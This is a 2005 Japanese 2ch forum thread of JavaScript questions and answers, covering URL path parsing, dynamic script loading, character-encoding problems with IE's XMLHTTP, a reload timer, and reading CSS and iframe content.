+JavaScript の質問用スレッド vol.42 +

1 名前:Vol37-663より愛を込めて 投稿日:2005/10/12(水) 08:53:43 ID:???
━━━━━JavaScript質問スレ道場訓━━━━━
 一、礼節を重んじ常に努力精進すること
 一、ブラクラに打ち勝つ精神力を持つこと
 一、心身の優れたJavaScriptを学ぶこと
 一、雑草の如く生涯JavaScriptを貫くこと
 一、感謝と反省を忘れないこと
 以上
━━━━━━━━━━━━━━━━━━━━━━

このスレに書き込むことが許されるものは以下のとおり
・JavaScriptとJavaの違いを理解する者
・スクリプトを組むための最低限のHTML・CSSを理解する者
・ユーザーに迷惑となるスクリプトを書かない者
・FAQ・過去ログや関連資料を読むことができる者
・「初心者です」を振りかざさず、質問を分かる日本語で説明できる者
・対象環境や使用技術は質問者の裁量であることを理解する者
 (質問/回答時はなるべく環境明記。WinIE5.5/N6未満と希少ブラウザは必須!)

前スレ http://pc8.2ch.net/test/read.cgi/hp/1127133050/l50
まとめサイト http://web2ch.s31.xrea.com/?JS
過去スレ全集 http://user.ftth100.com/mirrorhenkan/javascript/
FAQ・注意・過去ログ・関連資料・関連スレ>>1-50またはまとめサイト

2 名前:Vol37-663より愛を込めて 投稿日:2005/10/12(水) 08:54:24 ID:???
【質問を書く上で】
1)ユーザ(閲覧者)に迷惑がかかる性悪スクリプトは回答されない。
 例: 別窓開きまくり、閉じる/戻るのを妨害、全画面占有、etcは最悪。
 答えさせようと「分からねえんだろ」と煽っても無駄(過去スレが証明)。
2)言葉でぐだぐだ書かずにソースを貼る、ただし要点を整理して。
 そのまま貼って動かせると試してもらいやすい(ただし回答者に連結さすな!)
 長い(1レスに入らない)場合はアップロードしてURIを貼る。
3)初心者という言葉は危険なので使わない方がよい。
 初心者を言い訳に自力で調べない/考えない奴が最悪に嫌われる。
4)自分で調べたこと/試したこときちんと書く(調べもしない奴は最低)。
 ただ「動きません」「エラーです」は何も情報がないため嫌われる。
 エラーは「どの行で何のエラー」を書く(ブラウザをそのように設定すれ)。
 OS、ブラウザ、バージョン、うまく行かない条件を明記しエラー再現可能に。
5)特に古いバージョン限定の時は、必ず明記スレ!回答もチグハグになり
回答者に2度手間を食わせる可能性大。相手にされなくなるかもよ。
(現行Ver.:IE5.5-6  NN7 Opera7-8)
6)どういう時にどういう動作をさせたいのかを脳内にとどめずきちんと書く。
 例:「自動ポップアップしたい」←どういう場合(マウスオーバー、クリック、
 ボタン押し、select選択)に何(別窓、レイヤー、その他)が出るのか書け!
7)質問はまっとうな(他人に理解できる)日本語で。
 前項の例に限らず、他人に理解できない質問文は煽られるだけで時間の無駄


3 名前:Vol37-663より愛を込めて 投稿日:2005/10/12(水) 08:55:02 ID:???
【FAQ】
Q1. 開いた別窓/フレームの内容にアクセスできないのですが…
A1. ページ内容が別サーバの場合セキュリティ制約により絶対無理です。
Q2. JavaScriptでローカルファイルを読み/書きたいのですが…
A2. Webではセキュリティ制約により絶対無理です。できたら恐ろしいことに…
Q3. document.write(...)でページ内容を追加したいのですが…
A3. 一度ページ表示完了後にwrite()すると内容はクリアされちゃいます。
 部分的に内容変更するには(1)他フレーム/iframe/別窓への表示、
 (2)textarea等への表示、(3)DOMでノード挿入、(4)innerHTMLのどれかで。
 innerHTMLは非標準ですがIE、Opera、Gecko(N6/N7/Moz等)で対応済。
Q4. table/tbody/tr要素のinnerHTMLを書き換えるのがうまく行かないのですが…
A4. IEはそれらの要素のinnerHTMLは変更不能。DOMを使って書き換えるしかない。
Q5. Aタグのonclickで動作指定してるのですが時々動きません…
A5. 「onclick="...;return false"」としないとページ移動しちゃうから。
Q6. 変数w1、w2…を順にループで(番号をiに入れて)設定/参照したいのですが…
A6. グローバル変数はwindowのプロパティだからwindow['w'+i]を読み書きすれ。
Q7. フォーム部品名を変数にした「...myform.変数名.value」が動きません…
A7. 「document.forms.myform.elements[変数名].value」でどぞ。
 JavaScriptでは一般に「obj.x」と「obj['x']」は同じ意味です。
 例:「obj.p0=obj.p1=...=obj.p8=0;」⇔「for(i=0;i<9;i++) obj['p'+i]=0;」。
Q8. CSSで設定した背景色がe.style.backgroundColorで取得できないのですが…
A8. IEではe.currentStyle、Geckoではwindow.getComputedStyle()を使います。
Q9. 100*1.15の結果が114.999…998となってしまうのですが…
A9. コンピュータの実数計算は全て近似値だと思え。誤差が嫌なら整数で計算。
Q10. 任意のデータをサーバ(別鯖ではない)から取り寄せたいのですが…
A10. Geckoのnew XMLHttpRequest()、IEのnew ActiveXObject("Microsoft.XMLHTTP")
 を使えばできる。古いブラウザだと隠しフレームに読むなどのワザが必要。

4 名前:Vol37-663より愛を込めて 投稿日:2005/10/12(水) 08:55:34 ID:???
【主張の対立:他人の嗜好は尊重。損得の議論は歓迎】
・仕様を読む:回答者なら仕様の該当部分は読んでいるべき。質問者でも
 仕様を読まずうだうだ書く奴は注意されて当然。読み間違いは生温く指摘。
・英文文書:翻訳の努力を惜しむべからず。 読めないなら和訳を探し、
 なければあきらめよう。翻訳サイトを知っている人はうまく誘導してあげて。
・IE専用/アンチIE/クロスブラウザ:「○○は不要」「○○だけであと
 は無視」は不毛。質問者が分かって選択していれば尊重する。無知か
 らIE専なのは指摘してあげると親切。
・標準準拠 vs 使えればよい:標準はブラウザが変わっても維持される
 可能性大。非標準機能も損得を分かった上で使うならよい。
・MS vs アンチMS:MS固有の情報はMSのサイトで見ないと分からないが、
 そこだけ見ているとIE専になる。あとは上2件と同様。
・別窓、イベント抑止など:一般には迷惑スクリプトだが質問者に正当
 な理由があることも。尋ねて分かってないようなら煽っても可(w
・innerHTML vs DOM:それぞれに長所/弱点があるので理解した上で選
 択するべき。一概にどちらは駄目、とは言えない。
・on属性 vs addXXX():ハンドラが1つだけと分かっていればon属性
 で簡単にハンドラを設定もあり。上書きが心配ならaddXXX()。

5 名前:Vol37-663より愛を込めて 投稿日:2005/10/12(水) 08:56:17 ID:???
【標準規格・リファレンス】
規格を読まずにどうなってるか分からんとか質問しないこと!

まとめサイト
http://web2ch.s31.xrea.com/?JS

ECMA-262
http://www.ecma-international.org/publications/standards/ECMA-262.HTM
http://www2u.biglobe.ne.jp/~oz-07ams/prog/ecma262r3/ (和訳)

W3C Document Object Model Technical Reports
http://www.w3.org/DOM/DOMTR

MSDN Library JScript / DHTML (現在日本語版は古杉)
http://www.microsoft.com/japan/msdn/library/ja/script56/html/js56jsoriJScript.asp
http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/dhtml_reference_entry.asp
Mozilla Gecko DOM, Netscape devedge
http://www.mozilla.org/docs/dom/domref/
http://www.mozilla-japan.org/docs/dom/domref/ (和訳)
http://web.archive.org/web/20040822074426/devedge.netscape.com/central/javascript/


6 名前:Vol37-663より愛を込めて 投稿日:2005/10/12(水) 08:57:33 ID:???
【チュートリアルサイト・サンプルサイト】
規格が読めないならまずはチュートリアル。サンプルサイトも沢山ある。

ECMAScriptチュートリアル
http://www.axis.t.u-tokyo.ac.jp/~shunak/ecmascript/

MetaGraphic Cell
http://www2u.biglobe.ne.jp/~oz-07ams/prog/

どら猫本舗のリファレンスカウンター
http://www.doraneko.org/

はぎさんちのページ Mozilla's DOM Sample Project
http://cgi.din.or.jp/~hagi3/JavaScript/JSTips/Mozilla/mds.cgi

JavaScript basic samples (ショボイとの説あり)
http://www.sumnet.ne.jp/domp/jsbs/

初めてのホームページ講座 JavaScript Dynamic HTML SAMPLES (同上)
http://www.hajimeteno.ne.jp/dhtml/

Dynamic Scripting
http://www.interq.or.jp/student/exeal/dss/

JavaScript深層
http://www.hawk.34sp.com/
(9/15からサイト更新停止してるし・・・)

7 名前:Vol37-663より愛を込めて 投稿日:2005/10/12(水) 09:10:24 ID:???
【検索】
「キーワード『…』で検索しろ」「ぐぐれ」と言われた場合はこちらへ
http://www.google.co.jp/

【関連スレ】
板違い、スレ違いに注意!サーバ側での処理はWebProg板へどぞ!

Webサイト制作初心者用スレ vol.145
http://pc8.2ch.net/test/read.cgi/hp/1128491451/l50

/* CSS・スタイルシート質問スレッド【47px】 */
http://pc8.2ch.net/test/read.cgi/hp/1126795599/l50
(終わりがかぶったね。多分すぐ次スレになっとるよ)

CSS/DHTMLバグ辞典スレッド 第4版
http://pc5.2ch.net/test/read.cgi/hp/1078463560/l50

役に立つ書籍は? 2冊目
http://pc5.2ch.net/test/read.cgi/hp/1099736818/l50


8 名前:Name_Not_Found 投稿日:2005/10/12(水) 09:52:21 ID:Qf8xRGkP
     , -'"´  ̄`丶、_
           ,.∩         `ヽ
         〃∪'´ ̄`二二人\  ヽ
         | ツ´ ̄ ̄ ̄ ̄´ ヾ ヽ. ',
         |ハ ,ニ、   ,. - 、 | | | l |
         | ハ ィハ     ,二ヽ. | | | | | 同じ板にコピペするとそのままだけど、
         | | | じ'   |トJ〉  /)} l | 違う板にコピペすると鬼のような怖い顔
         | ハ  、'_,   ̄,, 厶イ川| に変わる摩訶不思議な佳子様コピペ。
         l l /\    .. イV\川 |
         ,' l l ,イ `l ̄´ /   /ヽl l
         l | l ハ  `メ、    〃  ヽヽ、__ノ
         l  ∨ └‐イ「ト--ァ'´     ハヽ__ノ
         ヽ/  }  l」」 /     / }`ー
          〈_n| 八   / /     /ノ
          〈二二人 c /\/ / , イ
           /  /厂 /\__>< {_

9 名前:Name_Not_Found 投稿日:2005/10/12(水) 10:01:35 ID:???
前スレ889も919も入れてみたおー。
重複しすぎならまた議論しといて。

では次の質問か前スレの続きどーぞ。

10 名前:Name_Not_Found 投稿日:2005/10/12(水) 12:07:23 ID:rP83a4Te
ファイルの存在するディレクトリパスを求めたいのですが、
location.hrefからファイル名を取り除く以外に方法はありませんか?

11 名前:Name_Not_Found 投稿日:2005/10/12(水) 12:25:56 ID:???
>>10
http://」とかはついたままで? まあ、ファイル名を取り除く
んでしょうねえ。
var a = location.href.split('/'); a.pop(); var s = a.join('/');
とかかな。試してないけど。

12 名前:Name_Not_Found 投稿日:2005/10/12(水) 12:58:01 ID:???
>>11
それでできました。ありがとうございます。
分割して連結とは思いつきませんでした。


13 名前:Name_Not_Found 投稿日:2005/10/12(水) 13:05:58 ID:???
スレタイにスペースがない。スレすらまともに立てられないのかよ

14 名前:Name_Not_Found 投稿日:2005/10/12(水) 13:08:46 ID:???
そんなしょーもないことにいちいち文句言うな

15 名前:Name_Not_Found 投稿日:2005/10/12(水) 13:20:06 ID:???
沸点低すぎ。
佳子様って誰だ。
>>1

16 名前:Name_Not_Found 投稿日:2005/10/12(水) 13:21:54 ID:???
>>10-12
location.href.replace(/[^\/]+$/, '');

17 名前:Name_Not_Found 投稿日:2005/10/12(水) 14:08:29 ID:???
>>16
js> "http://example.org/cwd?http://example.orz/query" .replace(/[^\/]+$/, "")
http://example.org/cwd?http://example.orz/

18 名前:Name_Not_Found 投稿日:2005/10/12(水) 15:48:15 ID:???
>>17 そう!こういうときの神な処理法誰か教えて

19 名前:Name_Not_Found 投稿日:2005/10/12(水) 15:50:35 ID:???
>>17 よく見たら example.orz←わろた

20 名前:Name_Not_Found 投稿日:2005/10/12(水) 15:51:57 ID:???
>>18
「どこまでが」ディレクトリなのかの定義が分からなければ
コードも書けないだろ。一般的にはサーバにしか分からない。
http://example.com/a/b/c/d
でaまでがディレクトリのこともbまでのこともcまでのこともある。

21 名前:Name_Not_Found 投稿日:2005/10/12(水) 16:07:23 ID:???
>>20
え?そうなの?
でもhttp://example.com/a/b/c/d みたいな場合、
普通は最後の/までと思ってていいんじゃないの?
ってかそういう前提で処理しなきゃならんことも多々あるわけで
いちいち管理者に問い合わせたりしないわけで。

22 名前:Name_Not_Found 投稿日:2005/10/12(水) 16:29:51 ID:???
>>21
そういう前提で処理していいのならそうするだろうけど、
実際に後ろに/b/c/dとかつけたものがaのパラメタ(というか
PATH_INFO環境変数)として取れるんだからしょうがないだろ。

23 名前:Name_Not_Found 投稿日:2005/10/12(水) 16:30:28 ID:???
>>18
こんなんでどうよ。
"http://example.org/cwd?http://example.orz/query".match(/^([^#\/?]*\/)*/)[0];

>>21
送られてきた "/a/b/c/d" をどう解釈するかはサーバーに任されているという
意味だと思う。仮想パスの配置が物理パスと同じとは限らないし、指している
リソースは物理的なファイルではないかも知れない。

ベース URI が "http://example.com/a/b/c/d" のとき、それから見た一つ上の
パス (相対 URI で "../") は、"http://example.com/a/b/c/" で間違ってない。
有効なリソースを指してるかどうかはアクセスしてみないとわからない。

24 名前:Name_Not_Found 投稿日:2005/10/12(水) 16:51:17 ID:???
>>23 神!早速使わせていただきます!

25 名前:Name_Not_Found 投稿日:2005/10/12(水) 17:00:51 ID:???
ごめん >>23 は全然駄目だわ。そんなに簡単じゃなかった。
例えば "http://example.org?http://example.orz#orz" なら
"http://example.org/../" を返すのが正解だよね。
後でもう少し考えてみるわ。

26 名前:Name_Not_Found 投稿日:2005/10/12(水) 17:29:43 ID:???
C言語で言うところの#includeプリプロセッサのような働きする命令・スクリプトはありますか・・・?
jsファイル内で外部jsファイルを取り込みたいのですが。

document.write('<sc'+'ript src="abc.js"></sc'+'ript>');
などをすると良いという記述を見つけたのですが、ファイルの上部の書いても読み込んでくれませんでした。

27 名前:Name_Not_Found 投稿日:2005/10/12(水) 17:45:42 ID:???
>>26
http://game.gr.jp/mag2p/2/loadjs/loadjs.htm
これどうよ?

28 名前:Name_Not_Found 投稿日:2005/10/12(水) 18:35:28 ID:???
ニュース記事を取得、任意の場所を抽出して書き出そうとしています。

<div id='obj'></div>
<script>
url='http://www.yomiuri.co.jp/world/news/20051012it04.htm';
httpObj = new ActiveXObject("Microsoft.XMLHTTP");
httpObj.open("GET", url , false);
httpObj.send();

contents = httpObj.responseText;
start = contents.search(/<!--\/\/ article_start \/\/-->/) + '<!--// article_start //-->'.length;
end = contents.search(/<!--\/\/ article_end \/\/-->/);
subContents = contents.substring(start,end);
document.getElementById('obj').innerHTML=subContents;
</script>

これで一応表示はできるんですが、文字化けしてしまいます。
どうしたらいいんでしょう?
文字コードは双方ともShift_JISです。


29 名前:Name_Not_Found 投稿日:2005/10/12(水) 18:43:13 ID:???
>>26
そいつはいまいちだな。途中じゃ読めないし(FAQ >>3 Q3/A3)。
var s = document.createElement('script');
s.src = 'abc.js';
document.body.appendChild(s);
とかじゃないかな。試してないけど。

30 名前:28 投稿日:2005/10/12(水) 19:23:15 ID:???
原因わかりました。
XMLHTTPが扱えるのはUTF-8のみでした。
ん〜じゃあどうしたらいいんでしょう?

31 名前:Name_Not_Found 投稿日:2005/10/12(水) 19:31:04 ID:???
>>30
自分自身のHTMLのエンコーディングをUTF-8にすればいいんじゃね?

32 名前:28 投稿日:2005/10/12(水) 20:08:17 ID:???
>>31
やってみましたがダメでした。

shift-jisのページをutf-8しか扱えないxmlhttpで取得して、
それを自分のutf-8のページに貼り付けてもやっぱり文字化けするのでは?
文字コードのことよくわかってないので勘違いしてる可能性大ですが。

↓こんなの見つけました。なんかすごそうなんすけど使えないすかね?
http://nurucom-archives.hp.infoseek.co.jp/digital/escape-codec-library.html

33 名前:Name_Not_Found 投稿日:2005/10/12(水) 20:30:49 ID:???
>>28
ああ対象のページがsjisだったのか。
なら自分のページをsjisにすればうまく行くはず

34 名前:28 投稿日:2005/10/12(水) 20:37:43 ID:???
>>33
んん?もともとは自分のページも相手のページも両方ともshift-jisです。
それでうまくいかなかったので相談させてもらってたんですが・・・?

>文字コードは双方ともShift_JISです。

って表現が言葉足らずで伝わりにくかったのかもしれません。すいません。
状況が整理できたところで何かいい方法はありませんか?


35 名前:Name_Not_Found 投稿日:2005/10/12(水) 20:47:16 ID:???
>>34
いや俺が酒をのみながら適当に書いていたのが悪かった。スマソ

悪いからちょっと調べて見るわ

36 名前:Name_Not_Found 投稿日:2005/10/12(水) 20:48:04 ID:???
>>34 あのさ、>>33 みたいに抜けたヤシにはもっとびしっと
厳しく言ってやってよ。日本語が読めないヤシは来るな!! とか。

37 名前:Name_Not_Found 投稿日:2005/10/12(水) 20:55:24 ID:???
javascriptでQRコード生成
http://la.ma.la/misc/qrcode/

すげぇ

38 名前:Name_Not_Found 投稿日:2005/10/12(水) 20:57:46 ID:???
>>34
調べた結果こんなものが…
http://ishib.com/code/refamazon/code_table.jis2ucs
使い方はtable_jis_utf8でぐぐってくれ

39 名前:28 投稿日:2005/10/12(水) 21:03:12 ID:???
>>38  phpって書いてある (´・∀・`)・・・・。

40 名前:Name_Not_Found 投稿日:2005/10/12(水) 21:05:27 ID:???
>>39
それを元に自分でutf8->sjisのルーチン作ってくれという意図っす

他の方法あればいいねぇ

41 名前:28 投稿日:2005/10/12(水) 21:22:15 ID:???
>>40 マジっすか。。
えーと・・・取得した文字列を一文字ずつコードに変換して
それをこの配列から検索して置き換え、また文字に戻す
って感じですか?むちゃくちゃ重くなりそうですね。

あ、でも何バイトで一文字か、の判断がすでに間違ってるわけだから・・・
なんだか無理な気がするんですが?

それにしてもxmlhttp使う人がみんなこんなことしてるとは思えないです。
何か方法があるのでは?

42 名前:Name_Not_Found 投稿日:2005/10/12(水) 21:36:18 ID:???
>>41
普通、置く側をUTF8にしてると思うよ。xmlhttpがダメなら
iframeに読ませるとか。それならSJISで読めるわけで。

43 名前:28 投稿日:2005/10/12(水) 21:43:29 ID:???
>>42
ということはUTF8以外のページはxmlhttpでは扱えないってことですか?
日本語サイトでUTF8なんてまだまだ少ない今の時代にはきついっすね。

>iframeに読ませるとか
訳あってiframeは使えないんですよ。

44 名前:28 投稿日:2005/10/12(水) 21:59:24 ID:???
取得ページがUTF-8だと自分のページがSJISでも正常に表示されるのを確認しました。
x51.orgですがw

<div id='obj'></div>
<script>
url='http://x51.org/x/05/09/2614.php';
httpObj = new ActiveXObject("Microsoft.XMLHTTP");
httpObj.open("GET", url , false);
httpObj.send();

contents = httpObj.responseText;
start = contents.search(/<!-- Article -->/) + '<!-- Article -->'.length;
end = contents.search(/<!---\/ Article --->/);
subContents = contents.substring(start,end);
document.getElementById('obj').innerHTML=subContents;
</script>

45 名前:Name_Not_Found 投稿日:2005/10/12(水) 22:18:15 ID:???
前スレ>>985
一応突っ込んどくと“レーゾンデートル”な

46 名前:Name_Not_Found 投稿日:2005/10/12(水) 22:19:02 ID:???
>>28
そもそもそんなことして大丈夫なのか?

47 名前:28 投稿日:2005/10/12(水) 22:26:05 ID:???
>>46
ローカルで使うんで問題ないかと。

48 名前:Name_Not_Found 投稿日:2005/10/12(水) 22:31:07 ID:???
【仕様】
・キーがタイプ、またはマウスの操作時にはリロードしない
・逆に上記がx秒行わなければリロード

上記を実装するのに、下記コードを作成しましたが、テキストエリアに文字入力中にリロードが走ってしまい、
うまくいきません。大変お手数ですが、お知恵を拝借させてください。何卒よろしくおねがいいたします。

<HTML><HEAD>
<TITLE>ページをリロード</TITLE>
<SCRIPT TYPE="text/javascript">
<!--
var timer = 1000;
function ReloadAddr(){
window.location.reload();//ページをリロード
}
function keyevent(){
timer = timer + 1000;
}
setTimeout(ReloadAddr, timer);
//-->
</SCRIPT></HEAD>
<BODY onkeypress="keyevent()" onMouseMove="keyevent()">こんにちは。
<input textarea></input>
</BODY></HTML>

49 名前:28 投稿日:2005/10/12(水) 22:45:28 ID:???
>>48
後からtimer増やしてもだめなんじゃないの?
こんなんどうでしょう?

<HTML><HEAD>
<TITLE>ページをリロード</TITLE>
<SCRIPT TYPE="text/javascript">
<!--
var timer = 1000;
function ReloadAddr(){
window.location.reload();//ページをリロード
}
function keyevent(){
clearTimeout(Timeout);
Timeout = setTimeout(ReloadAddr,timer);
}
Timeout = setTimeout(ReloadAddr,timer);
//-->
</SCRIPT></HEAD>
<BODY onkeypress="keyevent()" onMouseMove="keyevent()">こんにちは。
<input textarea></input>
</BODY></HTML>

50 名前:Name_Not_Found 投稿日:2005/10/12(水) 22:55:48 ID:???
>>48
チャットでも作るんか?
フレーム使うか XMLHTTPRequest で

51 名前:Name_Not_Found 投稿日:2005/10/12(水) 23:28:16 ID:???
>>45
パチンコ用語?隠語で「例のゾーン 出とるよ」とか。

52 名前:48 投稿日:2005/10/12(水) 23:50:19 ID:???
>>49さん
さっそくありがとうございます!動作確認できました!
IEのセキュリティアラートがでますが、無視の方向です。

>>50さん
チャットといえばチャットなんですが、CGIを絡ませたソフトウェアです。・・・って回答になってませんね。。。
XMLHTTPRequestについても調べてみます。ありがとうございました。

53 名前:Name_Not_Found 投稿日:2005/10/13(木) 00:00:06 ID:???
XMLHTTPRequest は IE7 予定。大文字小文字は正確に。

54 名前:Name_Not_Found 投稿日:2005/10/13(木) 01:01:33 ID:???
>>28
じゃあ perl とか php とか通してそのページ取得して、文字コード変換して、それを xmlhttp でとるって方法は?
IE以外で他のサイトのページ取得するときってそうやってると思うんだけど。

55 名前:28 投稿日:2005/10/13(木) 01:32:09 ID:???
>>54
できればサーバなしでいきたいです。
perlもphpもほとんどノータッチですし。

文字化けの原因というか原理について確認していいですか?
xmlhttpはUnicodeしか扱えないのでデータを受け取った時点で
2Byte文字を4Byteで読もうとする。だから文字化けする。
という理解で問題ありますか?
バイナリレベルで変更が加えられているわけではないか?
ということが知りたいわけなんですが。

もしそうなら↓ここにある方法でなんとかできそうな気がします。
http://www.hawk.34sp.com/stdpls/dwsh/charset_adodb.html

ただ自分のスキルでは試行錯誤、実現までに相当時間がかかりそうなので
できれば、このリンク先の方法が可能かどうかだけでもわかればと思います。
識者の方々、どうなんでしょう?

56 名前:Name_Not_Found 投稿日:2005/10/13(木) 01:46:29 ID:???
>>55
もしそうなら、間違って4byteになっている部分を強制的に2byteに変更してやればいいんじゃないの?

57 名前:28 投稿日:2005/10/13(木) 01:52:54 ID:???
>>56
もしそうならおっしゃる通りなんとか強制的に2Byteにするつもりなんですが、
本当にそうなんですか?そして簡単に実現する方法何か知ってます?

58 名前:Name_Not_Found 投稿日:2005/10/13(木) 01:53:42 ID:???
sjis で あいうえお って書いたヤツを読んで escape(〜responseText) したら %uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff って言われた。

59 名前:28 投稿日:2005/10/13(木) 03:13:28 ID:???
できたっ!

http://wwwroy.hi-ho.ne.jp/mutaguchi/bbs/list52.shtml
ページ内検索「Unicode2SJIS」

FileSystemObject使って一度Unicodeでファイルとして保存。
読み込むときにshift-jisって流れみたいですね。


60 名前:Name_Not_Found 投稿日:2005/10/13(木) 03:28:30 ID:3N0ru55B
http://yohei-y.blogspot.com/2005/09/javascripthtml.html

上記サイトで、javaScriptでロールオーバーをする技にふれています。
onmouseover/onmouseout を直に記述しないようでして、メリットも多いようです。
自作しようとしましたが、できない・・・

誰かできる?

61 名前:Name_Not_Found 投稿日:2005/10/13(木) 03:42:19 ID:???
実際動作してるサンプルがあるんだから
できる?って聞くまでもないじゃん

62 名前:Name_Not_Found 投稿日:2005/10/13(木) 03:44:15 ID:3N0ru55B
それもそうですね。
終了。

63 名前:Name_Not_Found 投稿日:2005/10/13(木) 04:06:50 ID:???
>>59
出来ておめでとう。でもFSO使っている時点でJavaScriptではない気が

64 名前:Name_Not_Found 投稿日:2005/10/13(木) 05:03:35 ID:???
IE+ローカルならではの技だなーー

65 名前:Name_Not_Found 投稿日:2005/10/13(木) 05:29:25 ID:???
WSHサイトの日付、2001年じゃん。
やっぱ、Ajaxとか言ってる香具師らうさんくせーwww

66 名前:28 投稿日:2005/10/13(木) 05:34:46 ID:???
>>63
ありがとうございます!でもまだ終わりじゃなかった。
あとEUC-JPをなんとかしないといけない。
FSOはUTF8かSJIS変換しかできないらしいので同じ手が使えない。
FSOでUTF8→SJISにしたあとXMLDOM経由でEUCエンコード保存。
再度FSOで読み直し。という手順。

だいたい流れはできましたが肝心のxmlObj.save(fileName)がなぜか動作しない。
保存データを作る時点で何かミスがあるのかも・・・
なお悪戦苦闘中です。

・・・確かにJavascriptから離れてきてる気がしなくもないですね。

>>64
確かに。Webのセキュリティ制限なくなると
Javascript+FSOとかってかなりのことができますね。

67 名前:Name_Not_Found 投稿日:2005/10/13(木) 05:54:31 ID:???
>>66
ActiveXを自由に使える環境ならば、
自分でコントロールを作成するのがラクダと思う

68 名前:Name_Not_Found 投稿日:2005/10/13(木) 06:54:05 ID:???
>>28
httpObj=new ActiveXObject("MSXML2.XMLHTTP");とか
httpObj.responseXMLで拾ってみるとか。
ちゃんとオブジェクト割り当てるとか
var content = new ActiveXObject("MSXML2.DOMDocument");
content .async = false;
content.load(oHttp.responseText);

俺はShift-Jisだが
ホント丸写しで問題無かったなニョ

それはともかく、
セキュリティ上の問題で最終的にサイトにうpできないことは分かってるよね?
淡い夢を持ってるといけないんで。
そうしたいなら、内容編集できないiframeで見せ方考えて載せるしかない。

69 名前:28 投稿日:2005/10/13(木) 08:41:04 ID:???
>>68
動かないorz

わかってますよ〜。
ローカルで使うRSSリーダ作ってます。
ヘッドラインは表示できてるんですが
本文も表示できたらいいなと思ってしまって。

70 名前:Name_Not_Found 投稿日:2005/10/13(木) 09:04:52 ID:???
こういう質問よんでる(読まされてる?)と、「JavaScriptには限界がある」と
批判してた前スレのnullポを思い出すなあ。JavaScriptにはJavaScriptの世界って
ものがあるんだよね。なにごとも無理しちゃいかん。

71 名前:Name_Not_Found 投稿日:2005/10/13(木) 10:10:35 ID:IDghXBxm
getPropertyCSSValueの使い方がわかりません。

72 名前:Name_Not_Found 投稿日:2005/10/13(木) 10:20:51 ID:???
>>71
それ使う必要あるの?何がしたいのか書いてみ。

73 名前:Name_Not_Found 投稿日:2005/10/13(木) 10:30:51 ID:IDghXBxm
>>72
cssを読み込んだあとに、dvi.hogeのスタイルが定義されているか調べて
定義されていなければ、別のCSSを読むスクリプトを作成したいのです。


74 名前:Name_Not_Found 投稿日:2005/10/13(木) 11:02:53 ID:???
>>73
getPropertyCSSValueを使うとIEでは動かないと思うよ。IEのDOM CSSまわり
は標準と違っているから。洩れのおすすめは、次のようにして全部のcssText
を取得しつつ「(DIV|div).hoge」の有無をチェックすることだけど。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>???</title>
<style type="text/css">
div.hoge { color: blue }
p.hage { border: solid blue 2px }
</style>
</head><body>
<pre><script type="text/javascript">
var a = document.styleSheets;
if(a[0].cssText) { // IE
for(var i = 0; i < a.length; ++i) document.writeln(a[i].cssText);
} else { // Gecko
for(var i = 0; i < a.length; ++i) {
var b = a[i].cssRules;
for(var j = 0; j < b.length; ++j) document.writeln(b[j].cssText);
}
}
</script></pre>
</body></html>

75 名前:28 投稿日:2005/10/13(木) 11:03:56 ID:???
objXML = new ActiveXObject("MSXML2.DOMDocument");
objXML.async = false;
(省略)
objXML.loadXML(contents)
objXML.save('contents.xml')

で「書き込みできません」のエラーが出ました。

以下によるとhtaにするか信頼済みサーバを介さないといけないらしい。
http://mito.xml.gr.jp/log.html?MLID=xmlusers&TID=1692&F=0&L=10&R=1

訳あってhtaもサーバを介すわけにもいかない。
んーまた道が閉ざされてしまいました。

UTF-8 → EUC-JPがこんなに大変とは
誰かいい知恵ないですか?

76 名前:Name_Not_Found 投稿日:2005/10/13(木) 13:21:44 ID:???
テキストエリアに「文字」がある/ないを返してくれる便利なメソッドしりませんか?
ポケットリファレンス見ても見当たらなかったもので。
大変お手数ですが、よろしくお願いいたします。

77 名前:Name_Not_Found 投稿日:2005/10/13(木) 13:26:55 ID:???
>>28
>で「書き込みできません」のエラーが出ました。 以下によるとhtaにするか・・・

おいおい、だからそっちの話題に行くなら段々とスレ違い気味だぞ。
WSHスレとか聞いた方がよくね。(まあこっちの方が人多いけどな)

お前ら、wsh使ってますか?part5
http://pc8.2ch.net/test/read.cgi/win/1126543183/

>UTF-8 → EUC-JP
どっかのネ申が教えてやればいい。

78 名前:Name_Not_Found 投稿日:2005/10/13(木) 13:28:23 ID:???
テキストエリアの「文字」の長さが0かどうか判断シル!

79 名前:Name_Not_Found 投稿日:2005/10/13(木) 13:28:32 ID:IDghXBxm
>>74
ありがとうございます。
なんとかできそうな気がしてきましたが、
エラー: uncaught exception: [Exception... "Access to restricted URI denied" code: "1012" nsresult: "0x805303f4 (NS_ERROR_DOM_BAD_URI)" location: "http://test.hoge.com/hoge/ Line: 17"]
のようなエラーがでました。該当する行は
for( i = 0; i < a.length; ++i) {
です。もう少しお力をお願いします。

80 名前:Name_Not_Found 投稿日:2005/10/13(木) 13:36:29 ID:???
>>78
早速のご返答ありがとうございます。
ただ、
・リロードやSubmitしない
ときに判定を行いたいと思ってます。

81 名前:Name_Not_Found 投稿日:2005/10/13(木) 14:20:48 ID:???
if(forms.formName.elements.elementsName.value=='')alert('No letters inputted in.')

82 名前:Name_Not_Found 投稿日:2005/10/13(木) 15:03:15 ID:t2C4qK9u
質問致します。インラインフレームの文字列を、
親ウィンドウの変数に渡す方法を、ぜひ御教示願います。

<iframe src="hoge.txt" name="hogeFrame" width="0" height="0"></iframe>
このhoge.txt(htmlでも)の内容を、元のウィンドウの変数hogehogeに渡したいのです。


83 名前:Name_Not_Found 投稿日:2005/10/13(木) 15:28:53 ID:???
>>79
ちょっと待て。それってCSSが別鯖なんじゃないの。FAQ>>3 Q1/A1
>>82 ホレ。これも上と同じく別鯖だったら無理だからね。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><title>???</title>
<script type="text/javascript">
function test() {
document.getElementById('d0').innerHTML = frames.f0.document.body.innerHTML;
}
</script>
</head><body onload="test()">
<iframe name="f0" src="t2.html"></iframe>
<div id="d0"></div>
</body></html>

84 名前:82 投稿日:2005/10/13(木) 15:51:49 ID:???
>>83
ご解答ありがとうございました。


85 名前:82 投稿日:2005/10/13(木) 15:56:11 ID:???
文字列を変数に渡したいんですが、ちょっとやってみます

86 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:06:42 ID:???
そのまま普通に入りますね。すげえ神です。ありがとうございました。

